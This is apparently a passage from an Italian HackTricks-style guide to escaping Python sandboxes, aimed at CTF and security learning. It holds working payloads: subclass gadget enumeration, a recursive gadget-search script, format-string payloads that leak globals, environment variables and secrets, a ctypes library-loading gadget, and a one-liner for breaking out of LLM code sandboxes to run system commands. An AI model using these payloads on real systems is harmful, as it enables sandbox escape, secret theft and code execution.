|
||
subprocess: BaseDependency, Origin, Version, Package
|
||
pty:
|
||
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
|
||
imp:
|
||
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
||
pdb:
|
||
"""
|
||
```
|
||
Inoltre, se pensi che **altre librerie** possano essere in grado di **invocare funzioni per eseguire comandi**, possiamo anche **filtrare per nomi di funzioni** all'interno delle librerie possibili:
|
||
```python
|
||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||
for b in bad_libraries_names + bad_func_names:
|
||
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
|
||
print(f"{b}: {', '.join(vuln_funcs)}")
|
||
|
||
"""
|
||
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
|
||
commands:
|
||
subprocess: BaseDependency, Origin, Version, Package
|
||
pty:
|
||
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
|
||
imp:
|
||
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
||
pip:
|
||
pdb:
|
||
system: _wrap_close, _wrap_close
|
||
getstatusoutput: CompletedProcess, Popen
|
||
getoutput: CompletedProcess, Popen
|
||
call: CompletedProcess, Popen
|
||
Popen: CompletedProcess, Popen
|
||
spawn:
|
||
import_module:
|
||
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
|
||
load_source: NullImporter, _HackedGetData
|
||
execfile:
|
||
execute:
|
||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||
"""
|
||
```
|
||
## Ricerca ricorsiva di Builtins, Globals...
|
||
|
||
> [!WARNING]
|
||
> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altro oggetto** usa semplicemente questo script per **trovare ricorsivamente i posti dove puoi trovare quell'oggetto.**
|
||
```python
|
||
import os, sys # Import these to find more gadgets
|
||
|
||
SEARCH_FOR = {
|
||
# Misc
|
||
"__globals__": set(),
|
||
"builtins": set(),
|
||
"__builtins__": set(),
|
||
"open": set(),
|
||
|
||
# RCE libs
|
||
"os": set(),
|
||
"subprocess": set(),
|
||
"commands": set(),
|
||
"pty": set(),
|
||
"importlib": set(),
|
||
"imp": set(),
|
||
"sys": set(),
|
||
"pip": set(),
|
||
"pdb": set(),
|
||
|
||
# RCE methods
|
||
"system": set(),
|
||
"popen": set(),
|
||
"getstatusoutput": set(),
|
||
"getoutput": set(),
|
||
"call": set(),
|
||
"Popen": set(),
|
||
"popen": set(),
|
||
"spawn": set(),
|
||
"import_module": set(),
|
||
"__import__": set(),
|
||
"load_source": set(),
|
||
"execfile": set(),
|
||
"execute": set()
|
||
}
|
||
|
||
#More than 4 is very time consuming
|
||
MAX_CONT = 4
|
||
|
||
#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
|
||
#ALREADY_CHECKED = set()
|
||
|
||
def check_recursive(element, cont, name, orig_n, orig_i, execute):
|
||
# If bigger than maximum, stop
|
||
if cont > MAX_CONT:
|
||
return
|
||
|
||
# If already checked, stop
|
||
#if name and name in ALREADY_CHECKED:
|
||
# return
|
||
|
||
# Add to already checked
|
||
#if name:
|
||
# ALREADY_CHECKED.add(name)
|
||
|
||
# If found add to the dict
|
||
for k in SEARCH_FOR:
|
||
if k in dir(element) or (type(element) is dict and k in element):
|
||
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
|
||
|
||
# Continue with the recursivity
|
||
for new_element in dir(element):
|
||
try:
|
||
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
|
||
|
||
# WARNING: Calling random functions sometimes kills the script
|
||
# Comment this part if you notice that behaviour!!
|
||
if execute:
|
||
try:
|
||
if callable(getattr(element, new_element)):
|
||
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
|
||
except:
|
||
pass
|
||
|
||
except:
|
||
pass
|
||
|
||
# If in a dict, scan also each key, very important
|
||
if type(element) is dict:
|
||
for new_element in element:
|
||
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)
|
||
|
||
|
||
def main():
|
||
print("Checking from empty string...")
|
||
total = [""]
|
||
for i,element in enumerate(total):
|
||
print(f"\rStatus: {i}/{len(total)}", end="")
|
||
cont = 1
|
||
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
|
||
|
||
print()
|
||
print("Checking loaded subclasses...")
|
||
total = "".__class__.__base__.__subclasses__()
|
||
for i,element in enumerate(total):
|
||
print(f"\rStatus: {i}/{len(total)}", end="")
|
||
cont = 1
|
||
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
|
||
|
||
print()
|
||
print("Checking from global functions...")
|
||
total = [print, check_recursive]
|
||
for i,element in enumerate(total):
|
||
print(f"\rStatus: {i}/{len(total)}", end="")
|
||
cont = 1
|
||
check_recursive(element, cont, "", str(element), f"Global func {i}", False)
|
||
|
||
print()
|
||
print(SEARCH_FOR)
|
||
|
||
|
||
if __name__ == "__main__":
|
||
main()
|
||
```
|
||
Puoi controllare l'output di questo script in questa pagina:
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
||
{{#endref}}
|
||
|
||
## Python Format String
|
||
|
||
Se **invii** una **string** a python che verrà **formattata**, puoi usare `{}` per accedere alle **informazioni interne di python.** Puoi usare gli esempi precedenti per accedere a globals o builtins, per esempio.
|
||
```python
|
||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||
CONFIG = {
|
||
"KEY": "ASXFYFGK78989"
|
||
}
|
||
|
||
class PeopleInfo:
|
||
def __init__(self, fname, lname):
|
||
self.fname = fname
|
||
self.lname = lname
|
||
|
||
def get_name_for_avatar(avatar_str, people_obj):
|
||
return avatar_str.format(people_obj = people_obj)
|
||
|
||
people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||
|
||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||
get_name_for_avatar(st, people_obj = people)
|
||
```
|
||
Nota come puoi **accedere agli attributi** in modo normale con un **punto** come `people_obj.__init__` e un **elemento dict** con **parentesi** senza virgolette `__globals__[CONFIG]`
|
||
|
||
Nota anche che puoi usare `.__dict__` per enumerare gli elementi di un oggetto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||
|
||
Alcune altre caratteristiche interessanti delle format strings sono la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** sull'oggetto indicato aggiungendo rispettivamente **`!s`**, **`!r`**, **`!a`**:
|
||
```python
|
||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||
get_name_for_avatar(st, people_obj = people)
|
||
```
|
||
Inoltre, è possibile **scrivere nuovi formatters** nelle classi:
|
||
```python
|
||
class HAL9000(object):
|
||
def __format__(self, format):
|
||
if (format == 'open-the-pod-bay-doors'):
|
||
return "I'm afraid I can't do that."
|
||
return 'HAL 9000'
|
||
|
||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||
#I'm afraid I can't do that.
|
||
```
|
||
**Altri esempi** su **format** **string** si trovano in [**https://pyformat.info/**](https://pyformat.info)
|
||
|
||
> [!CAUTION]
|
||
> Consulta anche la pagina seguente per gadget che l**eggeranno informazioni sensibili dagli oggetti interni di Python**:
|
||
|
||
|
||
{{#ref}}
|
||
../python-internal-read-gadgets.md
|
||
{{#endref}}
|
||
|
||
### Payloads per la divulgazione di informazioni sensibili
|
||
```python
|
||
{whoami.__class__.__dict__}
|
||
{whoami.__globals__[os].__dict__}
|
||
{whoami.__globals__[os].environ}
|
||
{whoami.__globals__[sys].path}
|
||
{whoami.__globals__[sys].modules}
|
||
|
||
# Access an element through several links
|
||
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
||
|
||
# Example from https://corgi.rip/posts/buckeye-writeups/
|
||
secret_variable = "clueless"
|
||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||
str(x) # Out: clueless
|
||
```
|
||
### LLM Jails bypass
|
||
|
||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||
|
||
### Dal formato al RCE: caricamento di librerie
|
||
|
||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||
|
||
Come promemoria, ogni volta che un'azione viene eseguita in python viene eseguita una funzione. Per esempio `2*3` eseguirà **`(2).mul(3)`** oppure **`{'a':'b'}['a']`** eseguirà **`{'a':'b'}.__getitem__('a')`**.
|
||
|
||
Ne trovi altri nella sezione [**Python execution without calls**](#python-execution-without-calls).
|
||
|
||
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
|
||
Tuttavia, è possibile usare `[]`. Pertanto, se una libreria python comune ha un metodo **`__getitem__`** o **`__getattr__`** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
|
||
|
||
Cercando un gadget del genere in python, il writeup propone questa [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Dove ha trovato questo [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||
```python
|
||
class LibraryLoader(object):
|
||
def __init__(self, dlltype):
|
||
self._dlltype = dlltype
|
||
|
||
def __getattr__(self, name):
|
||
if name[0] == '_':
|
||
raise AttributeError(name)
|
||
try:
|
||
dll = self._dlltype(name)
|
||
except OSError:
|
||
raise AttributeError(name)
|
||
setattr(self, name, dll)
|
||
return dll
|
||
|
||
def __getitem__(self, name):
|
||
return getattr(self, name)
|
||
|
||
cdll = LibraryLoader(CDLL)
|
||
pydll = LibraryLoader(PyDLL)
|
||
```
|
||
Questo gadget permette di **load a library from disk**. Pertanto, è necessario in qualche modo **write or upload the library to load** correttamente compiled sul server attaccato.
|
||
```python
|
||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||
```
|
||
La challenge sfrutta in realtà un'altra vulnerabilità nel server che permette di creare file arbitrari sul disco del server.
|
||
|
||
## Analisi degli oggetti Python
|
||
|
||
> [!TIP]
|
||
> Se vuoi **imparare** in profondità il **python bytecode** leggi questo **ottimo** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||
|
||
In alcuni CTF potresti ricevere il nome di una **custom function where the flag** e devi vedere gli **internals** della **function** per estrarlo.
|
||
|
||
Questa è la function da ispezionare:
|
||
```python
|
||
def get_flag(some_input):
|
||
var1=1
|
||
var2="secretcode"
|
||
var3=["some","array"]
|
||
if some_input == var2:
|
||
return "THIS-IS-THE-FALG!"
|
||
else:
|
||
return "Nope"
|
||
```
|
||
#### dir
|
||
```python
|
||
dir() #General dir() to find what we have loaded
|
||
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
||
dir(get_flag) #Get info tof the function
|
||
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
||
```
|
||
#### globals
|
||
|
||
`__globals__` and `func_globals`(Stesso) Ottengono l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarati:
|
||
```python
|
||
get_flag.func_globals
|
||
get_flag.__globals__
|
||
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
|
||
|
||
#If you have access to some variable value
|
||
CustomClassObject.__class__.__init__.__globals__
|
||
```
|
||
[**See here more places to obtain globals**](#globals-and-locals)
|
||
|
||
### **Accesso al codice della funzione**
|
||
|
||
**`__code__`** and `func_code`: Puoi **accedere** a questo **attributo** della funzione per **ottenere il code object** della funzione.
|
||
```python
|
||
# In our current example
|
||
get_flag.__code__
|
||
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1
|
||
|
||
# Compiling some python code
|
||
compile("print(5)", "", "single")
|
||
<code object <module> at 0x7f9ca01330c0, file "", line 1>
|
||
|
||
#Get the attributes of the code object
|
||
dir(get_flag.__code__)
|
||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||
```
|
||
### Ottenere informazioni sul codice
|
||
```python
|
||
# Another example
|
||
s = '''
|
||
a = 5
|
||
b = 'text'
|
||
def f(x):
|
||
return x
|
||
f(5)
|
||
'''
|
||
c=compile(s, "", "exec")
|
||
|
||
# __doc__: Get the description of the function, if any
|
||
print.__doc__
|
||
|
||
# co_consts: Constants
|
||
get_flag.__code__.co_consts
|
||
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')
|
||
|
||
c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
|
||
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None
|
||
|
||
# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
|
||
get_flag.__code__.co_names
|
||
()
|
||
|
||
c.co_names
|
||
('a', 'b', 'f')
|
||
|
||
|
||
#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
|
||
get_flag.__code__.co_varnames
|
||
('some_input', 'var1', 'var2', 'var3')
|
||
|
||
#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
|
||
get_flag.__code__.co_cellvars
|
||
()
|
||
|
||
#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
|
||
get_flag.__code__.co_freevars
|
||
()
|
||
|
||
#Get bytecode
|
||
get_flag.__code__.co_code
|
||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||
```
|
||
### **Disassemblare una funzione**
|
||
```python
|
||
import dis
|
||
dis.dis(get_flag)
|
||
2 0 LOAD_CONST 1 (1)
|
||
3 STORE_FAST 1 (var1)
|
||
|
||
3 6 LOAD_CONST 2 ('secretcode')
|
||
9 STORE_FAST 2 (var2)
|
||
|
||
4 12 LOAD_CONST 3 ('some')
|
||
15 LOAD_CONST 4 ('array')
|
||
18 BUILD_LIST 2
|
||
21 STORE_FAST 3 (var3)
|
||
|
||
5 24 LOAD_FAST 0 (some_input)
|
||
27 LOAD_FAST 2 (var2)
|
||
30 COMPARE_OP 2 (==)
|
||
33 POP_JUMP_IF_FALSE 40
|
||
|
||
6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!')
|
||
39 RETURN_VALUE
|
||
|
||
8 >> 40 LOAD_CONST 6 ('Nope')
|
||
43 RETURN_VALUE
|
||
44 LOAD_CONST 0 (None)
|
||
47 RETURN_VALUE
|
||
```
|
||
Nota che **se non puoi importare `dis` nella sandbox python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili caricate (`LOAD_CONST`) ma puoi indovinarlo da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile caricata.
|
||
```python
|
||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||
0 LOAD_CONST 1 (1)
|
||
3 STORE_FAST 1 (1)
|
||
6 LOAD_CONST 2 (2)
|
||
9 STORE_FAST 2 (2)
|
||
12 LOAD_CONST 3 (3)
|
||
15 LOAD_CONST 4 (4)
|
||
18 BUILD_LIST 2
|
||
21 STORE_FAST 3 (3)
|
||
24 LOAD_FAST 0 (0)
|
||
27 LOAD_FAST 2 (2)
|
||
30 COMPARE_OP 2 (==)
|
||
33 POP_JUMP_IF_FALSE 40
|
||
36 LOAD_CONST 5 (5)
|
||
39 RETURN_VALUE
|
||
>> 40 LOAD_CONST 6 (6)
|
||
43 RETURN_VALUE
|
||
44 LOAD_CONST 0 (0)
|
||
47 RETURN_VALUE
|
||
```
|
||
## Compilare Python
|
||
|
||
Ora, immaginiamo che in qualche modo tu possa **dump the information about a function that you cannot execute** ma tu **devi** **eseguirla**.\
|
||
Come nell'esempio seguente, puoi **accedere al code object** di quella funzione, ma semplicemente leggendo il disassemble non **sai come calcolare la flag** (_immagina una funzione `calc_flag` più complessa_)
|
||
```python
|
||
def get_flag(some_input):
|
||
var1=1
|
||
var2="secretcode"
|
||
var3=["some","array"]
|
||
def calc_flag(flag_rot2):
|
||
return ''.join(chr(ord(c)-2) for c in flag_rot2)
|
||
if some_input == var2:
|
||
return calc_flag("VjkuKuVjgHnci")
|
||
else:
|
||
return "Nope"
|
||
```
|
||
### Creazione del code object
|
||
|
||
Prima di tutto, dobbiamo sapere **come creare ed eseguire un code object** in modo da poter crearne uno per eseguire la nostra funzione leaked:
|
||
```python
|
||
code_type = type((lambda: None).__code__)
|
||
# Check the following hint if you get an error in calling this
|
||
code_obj = code_type(co_argcount, co_kwonlyargcount,
|
||
co_nlocals, co_stacksize, co_flags,
|
||
co_code, co_consts, co_names,
|
||
co_varnames, co_filename, co_name,
|
||
co_firstlineno, co_lnotab, freevars=None,
|
||
cellvars=None)
|
||
|
||
# Execution
|
||
eval(code_obj) #Execute as a whole script
|
||
|
||
# If you have the code of a function, execute it
|
||
mydict = {}
|
||
mydict['__builtins__'] = __builtins__
|
||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||
```
|
||
> [!TIP]
|
||
> A seconda della versione di python i **parametri** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei params nella versione di python che stai eseguendo è eseguire:
|
||
>
|
||
> ```
|
||
> import types
|
||
> types.CodeType.__doc__
|
||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||
> ```
|
||
|
||
### Ricreare una leaked funzione
|
||
|
||
> [!WARNING]
|
||
> Nell'esempio seguente prenderemo tutti i dati necessari per ricreare la funzione direttamente dal code object della funzione. In un **esempio reale**, tutti i **valori** necessari per eseguire la funzione **`code_type`** sono ciò che **dovrai leakare**.
|
||
```python
|
||
fc = get_flag.__code__
|
||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
|
||
|
||
